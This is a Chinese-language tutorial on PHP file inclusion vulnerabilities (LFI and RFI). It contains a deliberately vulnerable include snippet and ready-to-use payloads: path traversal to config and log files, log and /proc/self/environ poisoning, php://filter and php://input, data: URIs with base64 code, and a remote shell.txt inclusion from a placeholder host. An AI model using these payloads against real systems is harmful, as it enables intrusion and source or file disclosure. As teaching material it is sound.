简介
在通过php的函数引入文件时,由于对传入的文件名没有进行有效的验证,进而导致了漏洞的产生。
常见的文件包含函数有以下几个
include() \\执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
require() \\只要程序一运行就包含文件,找不到被包含文件时会产生致命错误,并停止脚本执行
include_once() \\若文件中代码已被包含,则不会再次被包含
require_once() \\若文件中代码已被包含,则不会再次被包含
当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。测试代码:
<?php
$file = $_GET['file'];
include $file;
?>
在同目录下有个1.txt,其内容为<? phpinfo(); ?>。则只需要访问:
233.php?file=1.txt,即可访问到phpinfo界面。
而如果包含非PHP语法规范源文件时,将会暴露其源代码。
从上面这个例子我们可以看出,PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
漏洞分类
本地文件包含(LFI)
包含日志
日志文件污染是通过将注入目标系统的代码写入到日志文件中。通常,访问目标系统上的某些对外开放的服务时,系统会自动将访问记录写入到日志文件中,利用这个机制,有可能会将代码写入到日志中。例如,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:www.xxx.com<?phpinfo();?>则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。
正常的php代码已经写入了 /var/log/apache2/access.log。然后进行包含即可。
注意 (1)除了我们包含 access.log 以外,我们还可以制造错误,然后包含 error.log (2)如果出现包含不成功的情况,很有可能就是被 open_base_dir() 限制了 (3)实战中最好在凌晨的时候进行包含,要不然日志太大包含会失败 (4)除了 apache 和 nginx 的日志 还有很多其他的日志我们能利用,比如说 ssh 的日志
常见的路径还有以下这些:
?file=.htaccess //包含同目录下的文件
?file=../../../../../../../../../var/lib/locate.db
?file=../../../../../../../../../var/lib/mlocate/mlocate.db //linux中这两个文件储存着所有文件的路径,需要root权限
?file=../../../../../../../../../var/log/apache/error.log //包含错误日志
?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf //获取web目录或者其他配置文件
?file=../attachment/media/xxx.file //包含上传的附件
包含environ
利用条件:
php以cgi方式运行,这样environ才会保持UA头。
environ文件存储位置已知,且environ文件可读
Apache在/proc/self/environ(环境变量)中存储各种值,例如访问者IP地址,用户代理,调用的脚本以及其他值。然后和包含日志一样,在User-agent修改成payload.
php伪协议
php://filter
通常情况下,当我们去包含php源码的时候,源码会被解析,我们就看不到源码了,这时候就可以利用读文件的方式读取到php源码。
常用句式:?file=php://filter/read=convert.base64-encode/resource=xxx.php,也可以用index.php?file=php://filter/convert.base64-encode/resource=index.php,效果和前面一样,只是没有read关键字,在绕过一些waf或许有用。
注意:
php://filter在双off的情况下也可以正常使用;
allow_url_fopen :off/on
alow_url_include:off/on
php://input
可以访问原始数据的只读流(这个原始数据指的是POST数据),将post请求中的数据作为php代码执行。
利用条件:allow_url_include = On
index.php
?file=php://input
POST:
<? phpinfo();?>
data:URI schema
利用条件:
php版本大于等于php5.2
allow_url_fopen = On
allow_url_include = On
主要有以下两种利用方法:
index.php?file=data:text/plain,<?php phpinfo();?>
index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
加号+的url编码为%2b,PD9waHAgcGhwaW5mbygpOz8+的base64解码为:<?php phpinfo();?>
远程文件包含(RFI)
需要allow_url_fopen=On并且allow_url_include=On才能进行远程文件包含。 常见利用方法:
?file=[http|https|ftp]://example.com/shell.txt
写在最后
写到这里实在是太困了,而且这几天状态也不是很好,很多东西还没有讲。唉,有机会下次补齐吧(咕咕咕)